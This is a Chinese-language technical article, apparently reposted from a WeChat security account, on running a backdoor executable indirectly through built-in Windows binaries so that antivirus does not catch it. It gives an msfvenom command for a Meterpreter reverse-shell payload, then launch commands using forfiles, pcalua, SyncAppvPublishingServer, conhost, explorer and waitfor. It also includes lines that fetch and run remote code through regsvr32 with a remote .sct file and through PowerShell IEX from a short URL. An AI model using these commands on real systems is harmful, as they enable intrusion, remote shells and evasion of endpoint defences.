间接执行后门文件绕过防病毒软件
2021-04-14 20:00:00 Author: mp.weixin.qq.com(查看原文) 阅读量:110 收藏

在服务器上存在防病毒等防御软件时,在直接执行恶意后门文件时,会被拦截,如何通过间接执行的方式绕过安全检测?本文介绍几种方法。

准备工作

首先使用 Metasploit 的 msfvenom 生成一个可执行文件。用这个文件作为需要隐藏的后门文件,命令如下:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.254.58 LPORT=4444 -f exe > pentestlab.exe

方法一 forfiles

forfiles是一个命令行工具,可以选择文件并执行一个命令来操作文件。通常用于批处理作业,但可能会被滥用执行任意命令或文件。

参数 /p 指定搜索文件的目录,/m 指定搜索关键词,/c 指定要执行的命令,整体命令如下:

forfiles /p c:\windows\system32 /m calc.exe /c C:\tmp\pentestlab.exe

命令执行完毕,会执行 pentestlab.exe ,在 Metasploit 得到会话:

在系统上查看进程会发现,pentestlab.exe 进程是 forfiles.exe 的子进程:

也可以在 Windows“运行”中直接输入以上命令,不需要打开 cmd 窗口:

pcalua

pcalua.exe 是 windows 的系统文件,Windows 程序兼容性助理 (Program Compatibility Assistant) 的一个组件而已。程序位于 C:\Windows\System32 目录下,可以使用“-a”参数执行命令:

pcalua.exe -a C:\tmp\pentestlab.exe

命令执行成功,会得到一个 meterpreter 会话:

新创建的进程显示是父进程:

SyncAppvPublishingServer

SyncAppvPublishingServer 是 win10 自带的服务,有 vbs 和 exe 两个版本,是用来启动 Microsoft 应用程序虚拟化的发布刷新操作,可以在 powershell 的窗口下执行 powershell 命令:

SyncAppvPublishingServer.vbs "n; Start-Process C:\tmp\pentestlab.exe"

执行成功后,返回 meterpreter 会话:

使用 regsvr32 也可以从远程位置执行恶意 payload,因为 SyncAppvPublishingServer 可以执行双引号中包含的任何内容:

SyncAppvPublishingServer.vbs "Break; regsvr32 /s /n /u /i:http://192.168.254.158:8080/jnQl1FJ.sct scrobj.dll"

Cmd Hijack

可以使用路径遍历的方式来混淆监控系统并执行命令或有效载荷:

cmd.exe /c "ping 127.0.0.1/../../../../../../../../../../windows/system32/calc.exe"

以下两条命令同样可以达到执行 calc 的效果:

ping ;calc.exe 127.0.0.1/../../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/POWERSHELL.EXE

or 

cmd.exe /c "ping ;calc.exe; 127.0.0.1/../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/POWERSHELL.EXE"

conhost.exe

全称是 Console Host Process, 即命令行程序的宿主进程。简单的说他是微软出于安全考虑,在 windows 7 和 Windows server 2008 中引进的新的控制台应用程序处理机制,可以用下面的命令启动:

conhost.exe C:\tmp\pentestlab.exe conhost "pentestlab.blog C:\tmp\pentestlab.exe" conhost pentestlab.blog/../../tmp/pentestlab.exe

explorer.exe

explorer.exe 是 Windows 程序管理器或者文件资源管理器,利用它执行恶意软件,父进程是 explore.exe 而不是 cmd.exe

explorer.exe C:\tmp\pentestlab.exe explorer.exe /root,"C:\tmp\pentestlab.exe" explorer.exe pentestlab.blog, "C:\tmp\pentestlab.exe"

上述所有命令都可以在“运行”中执行:

waitfor

waitfor 是微软的程序,用于在网络中通过信号同步计算机。也可以使用它来进行命令执行:

waitfor pentestlab && PowerShell IEX (IWR http://bit.ly/L3g1t).Content waitfor /s 127.0.0.1 /si pentestlab

总结

防病毒软件通过软件黑白名单的方式限制命令执行,因为很多系统自带的软件和程序无法进行拦截,会对系统的正常使用造成很大的影响,必然会被加白,所以这些加白后的软件都有可能成为攻击者关注的对象,用来绕过防病毒软件的检测,对抗的过程是源源不断的,这里并不是最全的,仅作参考!


文章来源: http://mp.weixin.qq.com/s?__biz=MzI5MDQ2NjExOQ==&mid=2247495077&idx=1&sn=bbdbbc5c57cf05274629aabc510c9ab3&chksm=ec1ddd8ddb6a549b5a4bc13a9ba9a372718e6b2cee9050acc8904ab3294ebf761eecbcffcde5#rd
如有侵权请联系:admin#unsafe.sh